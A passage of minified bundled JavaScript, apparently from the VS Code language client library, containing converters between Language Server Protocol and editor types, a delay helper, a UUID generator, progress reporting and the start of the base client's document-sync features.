0?f.textEdit=Ht(P,y):f.insertText=P}function Ht(f,d){return sl.is(d)?xe.InsertReplaceEdit.create(f,$e(d.inserting),$e(d.replacing)):{newText:f,range:$e(d)}}function Fr(f){return{range:$e(f.range),newText:f.newText}}function At(f){return f==null?f:f.map(Fr)}function vr(f){return f<=wt.SymbolKind.TypeParameter?f+1:xe.SymbolKind.Property}function ke(f){return f}function Dt(f){return f.map(ke)}function Ir(f,d,R){return{textDocument:i(f),position:St(d),context:{includeDeclaration:R.includeDeclaration}}}function yr(f){let d=xe.CodeAction.create(f.title);if(f instanceof yE.default&&f.data!==void 0&&(d.data=f.data),f.kind!==void 0&&(d.kind=Zt(f.kind)),f.diagnostics!==void 0&&(d.diagnostics=nt(f.diagnostics)),f.edit!==void 0)throw new Error("VS Code code actions can only be converted to a protocol code action without an edit.");return f.command!==void 0&&(d.command=Ze(f.command)),f.isPreferred!==void 0&&(d.isPreferred=f.isPreferred),f.disabled!==void 0&&(d.disabled={reason:f.disabled.reason}),d}function zt(f){if(f==null)return f;let d;return f.only&&Gi.string(f.only.value)&&(d=[f.only.value]),xe.CodeActionContext.create(nt(f.diagnostics),d)}function Zt(f){if(f!=null)return f.value}function Ze(f){let d=xe.Command.create(f.title,f.command);return f.arguments&&(d.arguments=f.arguments),d}function Bt(f){let d=xe.CodeLens.create($e(f.range));return f.command&&(d.command=Ze(f.command)),f instanceof mE.default&&f.data&&(d.data=f.data),d}function er(f,d){let R={tabSize:f.tabSize,insertSpaces:f.insertSpaces};return d.trimTrailingWhitespace&&(R.trimTrailingWhitespace=!0),d.trimFinalNewlines&&(R.trimFinalNewlines=!0),d.insertFinalNewline&&(R.insertFinalNewline=!0),R}function Ut(f){return{textDocument:i(f)}}function D(f){return{textDocument:i(f)}}function j(f){let d=xe.DocumentLink.create($e(f.range));f.target&&(d.target=n(f.target)),f.tooltip!==void 0&&(d.tooltip=f.tooltip);let R=f instanceof vE.default?f:void 0;return R&&R.data&&(d.data=R.data),d}function K(f){return{textDocument:i(f)}}function Q(f){let d={name:f.name,kind:vr(f.kind),uri:n(f.uri),range:$e(f.range),selectionRange:$e(f.selectionRange)};return f.detail!==void 0&&f.detail.length>0&&(d.detail=f.detail),f.tags!==void 0&&(d.tags=Dt(f.tags)),f instanceof bE.default&&f.data!==void 0&&(d.data=f.data),d}return{asUri:n,asTextDocumentIdentifier:i,asVersionedTextDocumentIdentifier:s,asOpenTextDocumentParams:a,asChangeTextDocumentParams:g,asCloseTextDocumentParams:v,asSaveTextDocumentParams:b,asWillSaveTextDocumentParams:w,asDidCreateFilesParams:E,asDidRenameFilesParams:q,asDidDeleteFilesParams:N,asWillCreateFilesParams:A,asWillRenameFilesParams:H,asWillDeleteFilesParams:O,asTextDocumentPositionParams:z,asCompletionParams:G,asSignatureHelpParams:ct,asWorkerPosition:St,asRange:$e,asPosition:Tt,asPositions:Wt,asLocation:gt,asDiagnosticSeverity:mt,asDiagnosticTag:Pt,asDiagnostic:Or,asDiagnostics:nt,asCompletionItem:mr,asTextEdit:Fr,asSymbolKind:vr,asSymbolTag:ke,asSymbolTags:Dt,asReferenceParams:Ir,asCodeAction:yr,asCodeActionContext:zt,asCommand:Ze,asCodeLens:Bt,asFormattingOptions:er,asDocumentSymbolParams:Ut,asCodeLensParams:D,asDocumentLink:j,asDocumentLinkParams:K,asCallHierarchyItem:Q}}xa.createConverter=wE});var hm=F(qa=>{"use strict";Object.defineProperty(qa,"__esModule",{value:!0});qa.createConverter=void 0;var re=require("vscode"),ve=Be(),Ur=yn(),CE=Yu(),RE=Qu(),_E=Zu(),SE=tl(),fm=nl(),TE=ol(),al=Be(),ka;(function(r){function e(t){let n=t;return n&&Ur.string(n.language)&&Ur.string(n.value)}r.is=e})(ka||(ka={}));function PE(r,e){let n=r||(h=>re.Uri.parse(h));function i(h){return n(h)}function s(h){return h.map(a)}function a(h){let L=new fm.ProtocolDiagnostic(C(h.range),h.message,E(h.severity),h.data);return h.code!==void 0&&(ve.CodeDescription.is(h.codeDescription)?L.code={value:h.code,target:i(h.codeDescription.href)}:fm.DiagnosticCode.is(h.code)?(L.hasDiagnosticCode=!0,L.code={value:h.code.value,target:i(h.code.target)}):L.code=h.code),h.source&&(L.source=h.source),h.relatedInformation&&(L.relatedInformation=l(h.relatedInformation)),Array.isArray(h.tags)&&(L.tags=g(h.tags)),L}function l(h){return h.map(u)}function u(h){return new re.DiagnosticRelatedInformation(gt(h.location),h.message)}function g(h){if(!h)return;let L=[];for(let pe of h){let ie=v(pe);ie!==void 0&&L.push(ie)}return L.length>0?L:void 0}function v(h){switch(h){case ve.DiagnosticTag.Unnecessary:return re.DiagnosticTag.Unnecessary;case ve.DiagnosticTag.Deprecated:return re.DiagnosticTag.Deprecated;default:return}}function b(h){if(!!h)return new re.Position(h.line,h.character)}function C(h){if(!!h)return new re.Range(b(h.start),b(h.end))}function w(h){return h.map(L=>C(L))}function E(h){if(h==null)return re.DiagnosticSeverity.Error;switch(h){case ve.DiagnosticSeverity.Error:return re.DiagnosticSeverity.Error;case ve.DiagnosticSeverity.Warning:return re.DiagnosticSeverity.Warning;case ve.DiagnosticSeverity.Information:return re.DiagnosticSeverity.Information;case ve.DiagnosticSeverity.Hint:return re.DiagnosticSeverity.Hint}return re.DiagnosticSeverity.Error}function q(h){if(Ur.string(h))return A(h);if(ka.is(h))return A().appendCodeblock(h.value,h.language);if(Array.isArray(h)){let L=[];for(let pe of h){let ie=A();ka.is(pe)?ie.appendCodeblock(pe.value,pe.language):ie.appendMarkdown(pe),L.push(ie)}return L}else{let L;switch(h.kind){case ve.MarkupKind.Markdown:return A(h.value);case ve.MarkupKind.PlainText:return L=A(),L.appendText(h.value),L;default:return L=A(),L.appendText(`Unsupported Markup content received. Kind is: ${h.kind}`),L}}}function N(h){if(Ur.string(h))return h;switch(h.kind){case ve.MarkupKind.Markdown:return A(h.value);case ve.MarkupKind.PlainText:return h.value;default:return`Unsupported Markup content received. Kind is: ${h.kind}`}}function A(h){let L=new re.MarkdownString(h);return e===!0&&(L.isTrusted=e),L}function H(h){if(!!h)return new re.Hover(q(h.contents),C(h.range))}function O(h){if(!h)return;if(Array.isArray(h))return h.map(X);let L=h;return new re.CompletionList(L.items.map(X),L.isIncomplete)}function z(h){return ve.CompletionItemKind.Text<=h&&h<=ve.CompletionItemKind.TypeParameter?[h-1,void 0]:[re.CompletionItemKind.Text,h]}function M(h){switch(h){case ve.CompletionItemTag.Deprecated:return re.CompletionItemTag.Deprecated}}function G(h){if(h==null)return[];let L=[];for(let pe of h){let ie=M(pe);ie!==void 0&&L.push(ie)}return L}function X(h){let L=G(h.tags),pe=_e(h),ie=new CE.default(pe);h.detail&&(ie.detail=h.detail),h.documentation&&(ie.documentation=N(h.documentation),ie.documentationFormat=Ur.string(h.documentation)?"$string":h.documentation.kind),h.filterText&&(ie.filterText=h.filterText);let Se=Ae(h);if(Se&&(ie.insertText=Se.text,ie.range=Se.range,ie.fromEdit=Se.fromEdit),Ur.number(h.kind)){let[hn,wr]=z(h.kind);ie.kind=hn,wr&&(ie.originalItemKind=wr)}return h.sortText&&(ie.sortText=h.sortText),h.additionalTextEdits&&(ie.additionalTextEdits=Fe(h.additionalTextEdits)),Ur.stringArray(h.commitCharacters)&&(ie.commitCharacters=h.commitCharacters.slice()),h.command&&(ie.command=At(h.command)),(h.deprecated===!0||h.deprecated===!1)&&(ie.deprecated=h.deprecated,h.deprecated===!0&&L.push(re.CompletionItemTag.Deprecated)),(h.preselect===!0||h.preselect===!1)&&(ie.preselect=h.preselect),h.data!==void 0&&(ie.data=h.data),L.length>0&&(ie.tags=L),h.insertTextMode!==void 0&&(ie.insertTextMode=h.insertTextMode,h.insertTextMode===al.InsertTextMode.asIs&&(ie.keepWhitespace=!0)),ie}function _e(h){return al.CompletionItemLabelDetails.is(h.labelDetails)?{label:h.label,detail:h.labelDetails.detail,description:h.labelDetails.description}:h.label}function Ae(h){return h.textEdit?h.insertTextFormat===ve.InsertTextFormat.Snippet?{text:new re.SnippetString(h.textEdit.newText),range:Je(h.textEdit),fromEdit:!0}:{text:h.textEdit.newText,range:Je(h.textEdit),fromEdit:!0}:h.insertText?h.insertTextFormat===ve.InsertTextFormat.Snippet?{text:new re.SnippetString(h.insertText),fromEdit:!1}:{text:h.insertText,fromEdit:!1}:void 0}function Je(h){return ve.InsertReplaceEdit.is(h)?{inserting:C(h.insert),replacing:C(h.replace)}:C(h.range)}function je(h){if(!!h)return new re.TextEdit(C(h.range),h.newText)}function Fe(h){if(!!h)return h.map(je)}function ct(h){if(!h)return;let L=new re.SignatureHelp;return Ur.number(h.activeSignature)?L.activeSignature=h.activeSignature:L.activeSignature=0,Ur.number(h.activeParameter)?L.activeParameter=h.activeParameter:L.activeParameter=0,h.signatures&&(L.signatures=St(h.signatures)),L}function St(h){return h.map(Tt)}function Tt(h){let L=new re.SignatureInformation(h.label);return h.documentation!==void 0&&(L.documentation=N(h.documentation)),h.parameters!==void 0&&(L.parameters=Wt(h.parameters)),h.activeParameter!==void 0&&(L.activeParameter=h.activeParameter),L}function Wt(h){return h.map($e)}function $e(h){let L=new re.ParameterInformation(h.label);return h.documentation&&(L.documentation=N(h.documentation)),L}function gt(h){if(!!h)return new re.Location(n(h.uri),C(h.range))}function mt(h){if(!!h)return Ot(h)}function ut(h){if(!!h)return Ot(h)}function Pt(h){if(!h)return;let L={targetUri:n(h.targetUri),targetRange:C(h.targetRange),originSelectionRange:C(h.originSelectionRange),targetSelectionRange:C(h.targetSelectionRange)};if(!L.targetSelectionRange)throw new Error("targetSelectionRange must not be undefined or null");return L}function Ot(h){if(!!h)return Ur.array(h)?h.length===0?[]:ve.LocationLink.is(h[0])?h.map(pe=>Pt(pe)):h.map(pe=>gt(pe)):ve.LocationLink.is(h)?[Pt(h)]:gt(h)}function Jr(h){if(!!h)return h.map(L=>gt(L))}function Zr(h){if(!!h)return h.map(Or)}function Or(h){let L=new re.DocumentHighlight(C(h.range));return Ur.number(h.kind)&&(L.kind=nt(h.kind)),L}function nt(h){switch(h){case ve.DocumentHighlightKind.Text:return re.DocumentHighlightKind.Text;case ve.DocumentHighlightKind.Read:return re.DocumentHighlightKind.Read;case ve.DocumentHighlightKind.Write:return re.DocumentHighlightKind.Write}return re.DocumentHighlightKind.Text}function lt(h,L){if(!!h)return h.map(pe=>mr(pe,L))}function gr(h){return h<=ve.SymbolKind.TypeParameter?h-1:re.SymbolKind.Property}function cr(h){switch(h){case ve.SymbolTag.Deprecated:return re.SymbolTag.Deprecated;default:return}}function dt(h){if(h==null)return;let L=[];for(let pe of h){let ie=cr(pe);ie!==void 0&&L.push(ie)}return L.length===0?void 0:L}function mr(h,L){let pe=new re.SymbolInformation(h.name,gr(h.kind),C(h.location.range),h.location.uri?n(h.location.uri):L);return Fr(pe,h),h.containerName&&(pe.containerName=h.containerName),pe}function Ar(h){if(h!=null)return h.map(Ht)}function Ht(h){let L=new re.DocumentSymbol(h.name,h.detail||"",gr(h.kind),C(h.range),C(h.selectionRange));if(Fr(L,h),h.children!==void 0&&h.children.length>0){let pe=[];for(let ie of h.children)pe.push(Ht(ie));L.children=pe}return L}function Fr(h,L){h.tags=dt(L.tags),L.deprecated&&(h.tags?h.tags.includes(re.SymbolTag.Deprecated)||(h.tags=h.tags.concat(re.SymbolTag.Deprecated)):h.tags=[re.SymbolTag.Deprecated])}function At(h){let L={title:h.title,command:h.command};return h.arguments&&(L.arguments=h.arguments),L}function vr(h){if(!!h)return h.map(At)}let ke=new Map;ke.set(ve.CodeActionKind.Empty,re.CodeActionKind.Empty),ke.set(ve.CodeActionKind.QuickFix,re.CodeActionKind.QuickFix),ke.set(ve.CodeActionKind.Refactor,re.CodeActionKind.Refactor),ke.set(ve.CodeActionKind.RefactorExtract,re.CodeActionKind.RefactorExtract),ke.set(ve.CodeActionKind.RefactorInline,re.CodeActionKind.RefactorInline),ke.set(ve.CodeActionKind.RefactorRewrite,re.CodeActionKind.RefactorRewrite),ke.set(ve.CodeActionKind.Source,re.CodeActionKind.Source),ke.set(ve.CodeActionKind.SourceOrganizeImports,re.CodeActionKind.SourceOrganizeImports);function Dt(h){if(h==null)return;let L=ke.get(h);if(L)return L;let pe=h.split(".");L=re.CodeActionKind.Empty;for(let ie of pe)L=L.append(ie);return L}function Ir(h){if(h!=null)return h.map(L=>Dt(L))}function yr(h){if(h==null)return;let L=new SE.default(h.title,h.data);return h.kind!==void 0&&(L.kind=Dt(h.kind)),h.diagnostics!==void 0&&(L.diagnostics=s(h.diagnostics)),h.edit!==void 0&&(L.edit=Ze(h.edit)),h.command!==void 0&&(L.command=At(h.command)),h.isPreferred!==void 0&&(L.isPreferred=h.isPreferred),h.disabled!==void 0&&(L.disabled={reason:h.disabled.reason}),L}function zt(h){if(!h)return;let L=new RE.default(C(h.range));return h.command&&(L.command=At(h.command)),h.data!==void 0&&h.data!==null&&(L.data=h.data),L}function Zt(h){if(!!h)return h.map(L=>zt(L))}function Ze(h){if(!h)return;let L=new Map;if(h.changeAnnotations!==void 0)for(let Se of Object.keys(h.changeAnnotations)){let hn=Bt(h.changeAnnotations[Se]);L.set(Se,hn)}let pe=Se=>{if(Se!==void 0)return L.get(Se)},ie=new re.WorkspaceEdit;if(h.documentChanges)for(let Se of h.documentChanges)if(ve.CreateFile.is(Se))ie.createFile(n(Se.uri),Se.options,pe(Se.annotationId));else if(ve.RenameFile.is(Se))ie.renameFile(n(Se.oldUri),n(Se.newUri),Se.options,pe(Se.annotationId));else if(ve.DeleteFile.is(Se))ie.deleteFile(n(Se.uri),Se.options,pe(Se.annotationId));else if(ve.TextDocumentEdit.is(Se)){let hn=n(Se.textDocument.uri);for(let wr of Se.edits)al.AnnotatedTextEdit.is(wr)?ie.replace(hn,C(wr.range),wr.newText,pe(wr.annotationId)):ie.replace(hn,C(wr.range),wr.newText)}else throw new Error(`Unknown workspace edit change received:
${JSON.stringify(Se,void 0,4)}`);else h.changes&&Object.keys(h.changes).forEach(Se=>{ie.set(n(Se),Fe(h.changes[Se]))});return ie}function Bt(h){if(h!==void 0)return{label:h.label,needsConfirmation:!!h.needsConfirmation,description:h.description}}function er(h){let L=C(h.range),pe=h.target?i(h.target):void 0,ie=new _E.default(L,pe);return h.tooltip!==void 0&&(ie.tooltip=h.tooltip),h.data!==void 0&&h.data!==null&&(ie.data=h.data),ie}function Ut(h){if(!!h)return h.map(er)}function D(h){return new re.Color(h.red,h.green,h.blue,h.alpha)}function j(h){return new re.ColorInformation(C(h.range),D(h.color))}function K(h){if(Array.isArray(h))return h.map(j)}function Q(h){let L=new re.ColorPresentation(h.label);return L.additionalTextEdits=Fe(h.additionalTextEdits),h.textEdit&&(L.textEdit=je(h.textEdit)),L}function f(h){if(Array.isArray(h))return h.map(Q)}function d(h){if(h)switch(h){case ve.FoldingRangeKind.Comment:return re.FoldingRangeKind.Comment;case ve.FoldingRangeKind.Imports:return re.FoldingRangeKind.Imports;case ve.FoldingRangeKind.Region:return re.FoldingRangeKind.Region}}function R(h){return new re.FoldingRange(h.startLine,h.endLine,d(h.kind))}function P(h){if(Array.isArray(h))return h.map(R)}function y(h){return new re.SelectionRange(C(h.range),h.parent?y(h.parent):void 0)}function m(h){if(!Array.isArray(h))return[];let L=[];for(let pe of h)L.push(y(pe));return L}function x(h){if(h===null)return;let L=new TE.default(gr(h.kind),h.name,h.detail||"",i(h.uri),C(h.range),C(h.selectionRange),h.data);return h.tags!==void 0&&(L.tags=dt(h.tags)),L}function I(h){if(h!==null)return h.map(L=>x(L))}function Y(h){return new re.CallHierarchyIncomingCall(x(h.from),w(h.fromRanges))}function be(h){if(h!==null)return h.map(L=>Y(L))}function we(h){return new re.CallHierarchyOutgoingCall(x(h.to),w(h.fromRanges))}function Kt(h){if(h!==null)return h.map(L=>we(L))}function Ye(h){if(h!=null)return new re.SemanticTokens(new Uint32Array(h.data),h.resultId)}function vt(h){return new re.SemanticTokensEdit(h.start,h.deleteCount,h.data!==void 0?new Uint32Array(h.data):void 0)}function le(h){if(h!=null)return new re.SemanticTokensEdits(h.edits.map(vt),h.resultId)}function Ft(h){return h}function en(h){if(h!=null)return new re.LinkedEditingRanges(w(h.ranges),br(h.wordPattern))}function br(h){if(h!=null)return new RegExp(h)}return{asUri:i,asDiagnostics:s,asDiagnostic:a,asRange:C,asRanges:w,asPosition:b,asDiagnosticSeverity:E,asDiagnosticTag:v,asHover:H,asCompletionResult:O,asCompletionItem:X,asTextEdit:je,asTextEdits:Fe,asSignatureHelp:ct,asSignatureInformations:St,asSignatureInformation:Tt,asParameterInformations:Wt,asParameterInformation:$e,asDeclarationResult:mt,asDefinitionResult:ut,asLocation:gt,asReferences:Jr,asDocumentHighlights:Zr,asDocumentHighlight:Or,asDocumentHighlightKind:nt,asSymbolKind:gr,asSymbolTag:cr,asSymbolTags:dt,asSymbolInformations:lt,asSymbolInformation:mr,asDocumentSymbols:Ar,asDocumentSymbol:Ht,asCommand:At,asCommands:vr,asCodeAction:yr,asCodeActionKind:Dt,asCodeActionKinds:Ir,asCodeLens:zt,asCodeLenses:Zt,asWorkspaceEdit:Ze,asDocumentLink:er,asDocumentLinks:Ut,asFoldingRangeKind:d,asFoldingRange:R,asFoldingRanges:P,asColor:D,asColorInformation:j,asColorInformations:K,asColorPresentation:Q,asColorPresentations:f,asSelectionRange:y,asSelectionRanges:m,asSemanticTokensLegend:Ft,asSemanticTokens:Ye,asSemanticTokensEdit:vt,asSemanticTokensEdits:le,asCallHierarchyItem:x,asCallHierarchyItems:I,asCallHierarchyIncomingCall:Y,asCallHierarchyIncomingCalls:be,asCallHierarchyOutgoingCall:we,asCallHierarchyOutgoingCalls:Kt,asLinkedEditingRanges:en}}qa.createConverter=PE});var gm=F(Oa=>{"use strict";Object.defineProperty(Oa,"__esModule",{value:!0});Oa.Delayer=void 0;var DE=Be(),pm=class{constructor(e){this.defaultDelay=e,this.timeout=void 0,this.completionPromise=void 0,this.onSuccess=void 0,this.task=void 0}trigger(e,t=this.defaultDelay){return this.task=e,t>=0&&this.cancelTimeout(),this.completionPromise||(this.completionPromise=new Promise(n=>{this.onSuccess=n}).then(()=>{this.completionPromise=void 0,this.onSuccess=void 0;var n=this.task();return this.task=void 0,n})),(t>=0||this.timeout===void 0)&&(this.timeout=DE.RAL().timer.setTimeout(()=>{this.timeout=void 0,this.onSuccess(void 0)},t>=0?t:this.defaultDelay)),this.completionPromise}forceDelivery(){if(!this.completionPromise)return;this.cancelTimeout();let e=this.task();return this.completionPromise=void 0,this.onSuccess=void 0,this.task=void 0,e}isTriggered(){return this.timeout!==void 0}cancel(){this.cancelTimeout(),this.completionPromise=void 0}cancelTimeout(){this.timeout!==void 0&&(this.timeout.dispose(),this.timeout=void 0)}};Oa.Delayer=pm});var is=F(Dr=>{"use strict";Object.defineProperty(Dr,"__esModule",{value:!0});Dr.generateUuid=Dr.parse=Dr.isUUID=Dr.v4=Dr.empty=void 0;var Aa=class{constructor(e){this._value=e}asHex(){return this._value}equals(e){return this.asHex()===e.asHex()}},ye=class extends Aa{constructor(){super([ye._randomHex(),ye._randomHex(),ye._randomHex(),ye._randomHex(),ye._randomHex(),ye._randomHex(),ye._randomHex(),ye._randomHex(),"-",ye._randomHex(),ye._randomHex(),ye._randomHex(),ye._randomHex(),"-","4",ye._randomHex(),ye._randomHex(),ye._randomHex(),"-",ye._oneOf(ye._timeHighBits),ye._randomHex(),ye._randomHex(),ye._randomHex(),"-",ye._randomHex(),ye._randomHex(),ye._randomHex(),ye._randomHex(),ye._randomHex(),ye._randomHex(),ye._randomHex(),ye._randomHex(),ye._randomHex(),ye._randomHex(),ye._randomHex(),ye._randomHex()].join(""))}static _oneOf(e){return e[Math.floor(e.length*Math.random())]}static _randomHex(){return ye._oneOf(ye._chars)}};ye._chars=["0","1","2","3","4","5","6","6","7","8","9","a","b","c","d","e","f"];ye._timeHighBits=["8","9","a","b"];Dr.empty=new Aa("00000000-0000-0000-0000-000000000000");function mm(){return new ye}Dr.v4=mm;var EE=/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i;function vm(r){return EE.test(r)}Dr.isUUID=vm;function xE(r){if(!vm(r))throw new Error("invalid uuid");return new Aa(r)}Dr.parse=xE;function kE(){return mm().asHex()}Dr.generateUuid=kE});var cl=F(Fa=>{"use strict";Object.defineProperty(Fa,"__esModule",{value:!0});Fa.ProgressPart=void 0;var ym=require("vscode"),bm=Be(),wm=yn(),Cm=class{constructor(e,t,n){this._client=e,this._token=t,this._reported=0,this._disposable=this._client.onProgress(bm.WorkDoneProgress.type,this._token,i=>{switch(i.kind){case"begin":this.begin(i);break;case"report":this.report(i);break;case"end":this.done(),n&&n(this);break}})}begin(e){ym.window.withProgress({location:ym.ProgressLocation.Window,cancellable:e.cancellable,title:e.title},async(t,n)=>(this._progress=t,this._infinite=e.percentage===void 0,this._cancellationToken=n,this._cancellationToken.onCancellationRequested(()=>{this._client.sendNotification(bm.WorkDoneProgressCancelNotification.type,{token:this._token})}),this.report(e),new Promise((i,s)=>{this._resolve=i,this._reject=s})))}report(e){if(this._infinite&&wm.string(e.message))this._progress.report({message:e.message});else if(wm.number(e.percentage)){let t=Math.max(0,Math.min(e.percentage,100)),n=Math.max(0,t-this._reported);this._progress.report({message:e.message,increment:n}),this._reported+=n}}cancel(){this._disposable&&(this._disposable.dispose(),this._disposable=void 0),this._reject&&(this._reject(),this._resolve=void 0,this._reject=void 0)}done(){this._disposable&&(this._disposable.dispose(),this._disposable=void 0),this._resolve&&(this._resolve(),this._resolve=void 0,this._reject=void 0)}};Fa.ProgressPart=Cm});var ir=F(Ne=>{"use strict";Object.defineProperty(Ne,"__esModule",{value:!0});Ne.BaseLanguageClient=Ne.LSPCancellationError=Ne.MessageTransports=Ne.TextDocumentFeature=Ne.State=Ne.RevealOutputChannelOn=Ne.DiagnosticPullMode=Ne.CloseAction=Ne.ErrorAction=void 0;var V=require("vscode"),T=Be(),qE=Gu(),OE=dm(),AE=hm(),qe=yn(),Rm=gm(),Oe=is(),FE=cl(),_m=class{error(e){T.RAL().console.error(e)}warn(e){T.RAL().console.warn(e)}info(e){T.RAL().console.info(e)}log(e){T.RAL().console.log(e)}};function IE(r,e,t,n,i){let s=new _m,a=T.createProtocolConnection(r,e,s,i);return a.onError(u=>{t(u[0],u[1],u[2])}),a.onClose(n),{listen:()=>a.listen(),sendRequest:(u,...g)=>a.sendRequest(u,...g),onRequest:(u,g)=>a.onRequest(u,g),sendNotification:(u,g)=>a.sendNotification(u,g),onNotification:(u,g)=>a.onNotification(u,g),onProgress:a.onProgress,sendProgress:a.sendProgress,trace:(u,g,v)=>{let b={sendNotification:!1,traceFormat:T.TraceFormat.Text};v===void 0?a.trace(u,g,b):(qe.boolean(v),a.trace(u,g,v))},initialize:u=>a.sendRequest(T.InitializeRequest.type,u),shutdown:()=>a.sendRequest(T.ShutdownRequest.type,void 0),exit:()=>a.sendNotification(T.ExitNotification.type),onLogMessage:u=>a.onNotification(T.LogMessageNotification.type,u),onShowMessage:u=>a.onNotification(T.ShowMessageNotification.type,u),onTelemetry:u=>a.onNotification(T.TelemetryEventNotification.type,u),didChangeConfiguration:u=>a.sendNotification(T.DidChangeConfigurationNotification.type,u),didChangeWatchedFiles:u=>a.sendNotification(T.DidChangeWatchedFilesNotification.type,u),didOpenTextDocument:u=>a.sendNotification(T.DidOpenTextDocumentNotification.type,u),didChangeTextDocument:u=>a.sendNotification(T.DidChangeTextDocumentNotification.type,u),didCloseTextDocument:u=>a.sendNotification(T.DidCloseTextDocumentNotification.type,u),didSaveTextDocument:u=>a.sendNotification(T.DidSaveTextDocumentNotification.type,u),onDiagnostics:u=>a.onNotification(T.PublishDiagnosticsNotification.type,u),end:()=>a.end(),dispose:()=>a.dispose()}}var Ia;(function(r){r[r.Continue=1]="Continue",r[r.Shutdown=2]="Shutdown"})(Ia=Ne.ErrorAction||(Ne.ErrorAction={}));var li;(function(r){r[r.DoNotRestart=1]="DoNotRestart",r[r.Restart=2]="Restart"})(li=Ne.CloseAction||(Ne.CloseAction={}));var Sm=class{constructor(e,t){this.name=e,this.maxRestartCount=t,this.restarts=[]}error(e,t,n){return n&&n<=3?Ia.Continue:Ia.Shutdown}closed(){return this.restarts.push(Date.now()),this.restarts.length<=this.maxRestartCount?li.Restart:this.restarts[this.restarts.length-1]-this.restarts[0]<=3*60*1e3?(V.window.showErrorMessage(`The ${this.name} server crashed ${this.maxRestartCount+1} times in the last 3 minutes. The server will not be restarted.`),li.DoNotRestart):(this.restarts.shift(),li.Restart)}},LE;(function(r){r.onType="onType",r.onSave="onSave"})(LE=Ne.DiagnosticPullMode||(Ne.DiagnosticPullMode={}));var os;(function(r){r[r.Info=1]="Info",r[r.Warn=2]="Warn",r[r.Error=3]="Error",r[r.Never=4]="Never"})(os=Ne.RevealOutputChannelOn||(Ne.RevealOutputChannelOn={}));var La;(function(r){r[r.Stopped=1]="Stopped",r[r.Starting=3]="Starting",r[r.Running=2]="Running"})(La=Ne.State||(Ne.State={}));var Ue;(function(r){r[r.Initial=0]="Initial",r[r.Starting=1]="Starting",r[r.StartFailed=2]="StartFailed",r[r.Running=3]="Running",r[r.Stopping=4]="Stopping",r[r.Stopped=5]="Stopped"})(Ue||(Ue={}));var Tm=[T.SymbolKind.File,T.SymbolKind.Module,T.SymbolKind.Namespace,T.SymbolKind.Package,T.SymbolKind.Class,T.SymbolKind.Method,T.SymbolKind.Property,T.SymbolKind.Field,T.SymbolKind.Constructor,T.SymbolKind.Enum,T.SymbolKind.Interface,T.SymbolKind.Function,T.SymbolKind.Variable,T.SymbolKind.Constant,T.SymbolKind.String,T.SymbolKind.Number,T.SymbolKind.Boolean,T.SymbolKind.Array,T.SymbolKind.Object,T.SymbolKind.Key,T.SymbolKind.Null,T.SymbolKind.EnumMember,T.SymbolKind.Struct,T.SymbolKind.Event,T.SymbolKind.Operator,T.SymbolKind.TypeParameter],NE=[T.CompletionItemKind.Text,T.CompletionItemKind.Method,T.CompletionItemKind.Function,T.CompletionItemKind.Constructor,T.CompletionItemKind.Field,T.CompletionItemKind.Variable,T.CompletionItemKind.Class,T.CompletionItemKind.Interface,T.CompletionItemKind.Module,T.CompletionItemKind.Property,T.CompletionItemKind.Unit,T.CompletionItemKind.Value,T.CompletionItemKind.Enum,T.CompletionItemKind.Keyword,T.CompletionItemKind.Snippet,T.CompletionItemKind.Color,T.CompletionItemKind.File,T.CompletionItemKind.Reference,T.CompletionItemKind.Folder,T.CompletionItemKind.EnumMember,T.CompletionItemKind.Constant,T.CompletionItemKind.Struct,T.CompletionItemKind.Event,T.CompletionItemKind.Operator,T.CompletionItemKind.TypeParameter],Pm=[T.SymbolTag.Deprecated];function ne(r,e){return r[e]===void 0&&(r[e]={}),r[e]}var ss;(function(r){function e(t){let n=V.workspace.getConfiguration("files",t);return{trimTrailingWhitespace:n.get("trimTrailingWhitespace"),trimFinalNewlines:n.get("trimFinalNewlines"),insertFinalNewline:n.get("insertFinalNewline")}}r.fromConfiguration=e})(ss||(ss={}));var ul;(function(r){function e(t){let n=t;return n&&qe.func(n.register)&&qe.func(n.unregister)&&qe.func(n.dispose)&&n.registrationType!==void 0}r.is=e})(ul||(ul={}));var on=class{constructor(e,t,n,i,s,a){this._client=e,this._event=t,this._type=n,this._middleware=i,this._createParams=s,this._selectorFilter=a,this._selectors=new Map,this._onNotificationSent=new V.EventEmitter}static textDocumentFilter(e,t){for(let n of e)if(V.languages.match(n,t))return!0;return!1}register(e){!e.registerOptions.documentSelector||(this._listener||(this._listener=this._event(this.callback,this)),this._selectors.set(e.id,e.registerOptions.documentSelector))}callback(e){let t=n=>{let i=this._createParams(n);this._client.sendNotification(this._type,i).catch(s=>{this._client.error(`Sending document notification ${this._type.method} failed.`,s)}),this.notificationSent(n,this._type,i)};(!this._selectorFilter||this._selectorFilter(this._selectors.values(),e))&&(this._middleware?this._middleware(e,n=>t(n)):t(e))}get onNotificationSent(){return this._onNotificationSent.event}notificationSent(e,t,n){this._onNotificationSent.fire({original:e,type:t,params:n})}unregister(e){this._selectors.delete(e),this._selectors.size===0&&this._listener&&(this._listener.dispose(),this._listener=void 0)}dispose(){this._selectors.clear(),this._onNotificationSent.dispose(),this._listener&&(this._listener.dispose(),this._listener=void 0)}getProvider(e){for(let t of this._selectors.values())if(V.languages.match(t,e))return{send:n=>{this.callback(n)}}}},Dm=class extends on{constructor(e,t){super(e,V.workspace.onDidOpenTextDocument,T.DidOpenTextDocumentNotification.type,e.clientOptions.middleware.didOpen,n=>e.code2ProtocolConverter.asOpenTextDocumentParams(n),on.textDocumentFilter);this._syncedDocuments=t}get openDocuments(){return this._syncedDocuments.values()}fillClientCapabilities(e){ne(ne(e,"textDocument"),"synchronization").dynamicRegistration=!0}initialize(e,t){let n=e.resolvedTextDocumentSync;t&&n&&n.openClose&&this.register({id:Oe.generateUuid(),registerOptions:{documentSelector:t}})}get registrationType(){return T.DidOpenTextDocumentNotification.type}register(e){if(super.register(e),!e.registerOptions.documentSelector)return;let t=e.registerOptions.documentSelector;V.workspace.textDocuments.forEach(n=>{let i=n.uri.toString();if(!this._syncedDocuments.has(i)&&V.languages.match(t,n)){let s=this._client.clientOptions.middleware,a=l=>{this._client.sendNotification(this._type,this._createParams(l)).catch(u=>{this._client.error(`Sending document notification ${this._type.method} failed`,u)})};s.didOpen?s.didOpen(n,a):a(n),this._syncedDocuments.set(i,n)}})}notificationSent(e,t,n){super.notificationSent(e,t,n),this._syncedDocuments.set(e.uri.toString(),e)}},Em=class extends 